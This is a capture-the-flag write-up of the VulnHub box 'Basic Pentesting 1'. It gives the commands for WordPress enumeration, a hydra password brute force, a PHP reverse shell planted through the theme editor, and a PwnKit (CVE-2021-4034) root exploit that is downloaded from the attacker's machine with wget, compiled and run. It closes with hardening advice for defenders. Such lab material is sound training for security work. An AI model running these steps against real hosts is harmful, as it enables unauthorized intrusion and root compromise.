Basic Pentesting 1
WordPress credential attack to shell, then pkexec CVE-2021-4034 (PwnKit) for root.
Overview
Basic Pentesting 1 is an easy VulnHub box that teaches WordPress methodology end to end, followed by a modern (and serious) kernel-side privilege escalation via pkexec / PwnKit.
The room is unremarkable until the privesc, which is the part worth remembering: CVE-2021-4034 (PwnKit) affected almost every Linux distribution shipped before January 2022 and is still one of the most reliable Linux privescs to try when nothing else works.
Tools Used
- nmap for the port scan.
- wpscan for WordPress-specific enumeration.
- hydra for the WordPress brute force.
- PHP reverse shell as the post-auth payload.
- gcc to compile the PwnKit exploit on the target.
Methodology
Step 1 - Service enumeration. Standard Apache and SSH ports, with WordPress at /wordpress.
nmap -p- -sV <TARGET_IP>
Step 2 - wpscan for WordPress details.
wpscan --url http://<TARGET_IP>/wordpress --enumerate u
–enumerate u enumerates user accounts. wpscan walks the standard WP user enumeration endpoints (?author=N redirects, REST API /wp-json/wp/v2/users, and a couple others).
Step 3 - Hydra against /wp-login.php. Same form-aware Hydra invocation as Mr Robot.
hydra -l <username> -P /usr/share/wordlists/rockyou.txt <TARGET_IP> http-post-form \
"/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"
Step 4 - Theme editor reverse shell. With an authenticated session, Appearance → Editor allows editing PHP theme files. Overwrite 404.php with a PHP reverse shell payload, then visit any nonexistent path under the theme to trigger it.
nc -lvnp 4444
Reverse shell lands as the web user.
Step 5 - PwnKit / CVE-2021-4034. Check the version of pkexec on the target.
ls -la /usr/bin/pkexec
pkexec --version
If the version is below the patched release (varies by distribution, but anything before Jan 2022 is vulnerable), PwnKit applies. The bug is in pkexec’s argument-handling code: when called with zero command-line arguments, it walks past the end of argv into envp and reads an attacker-controlled environment variable as if it were a command-line argument. That argument is then passed to a function that interprets it relative to the user’s PATH, and pkexec runs the result as root because of its SUID bit.
Step 6 - Compile and run the exploit.
# fetch and compile a public PwnKit POC on the target:
wget http://<KALI_IP>:8000/pwnkit.c
gcc pwnkit.c -o pwnkit
./pwnkit
A root shell drops.
Key Takeaways
- WordPress brute force is the canonical CTF entry point because admin-equals-shell is intentional WP behavior.
- PwnKit (CVE-2021-4034) is the most important Linux privesc of the 2020s. It works on almost every distribution shipped before January 2022 and required no special preconditions beyond a local shell.
- Patch level matters even for non-internet-facing software. pkexec is part of polkit, a desktop authorization framework most server admins don’t think about. Old polkit equals trivial privesc.
- pkexec –version is a free check to add to your Linux enumeration checklist.
What a Defender Should Do
- Patch polkit on every Linux host. CVE-2021-4034 has been patched in distribution repositories since January 2022. There is no excuse to be vulnerable in 2024+.
- Remove pkexec entirely if the host doesn’t need polkit. Server hosts almost never need it; it’s a desktop authorization framework.
- Disable the WordPress in-dashboard file editor (DISALLOW_FILE_EDIT in wp-config.php). It is the most effective WP hardening control.
- Rate-limit /wp-login.php at the WAF or app layer. Hydra is only effective when the target accepts unlimited attempts.
- Enforce strong password policy and MFA on every WP admin account. Plugins like WP-2FA, Wordfence, or Limit Login Attempts Reloaded are mature and free.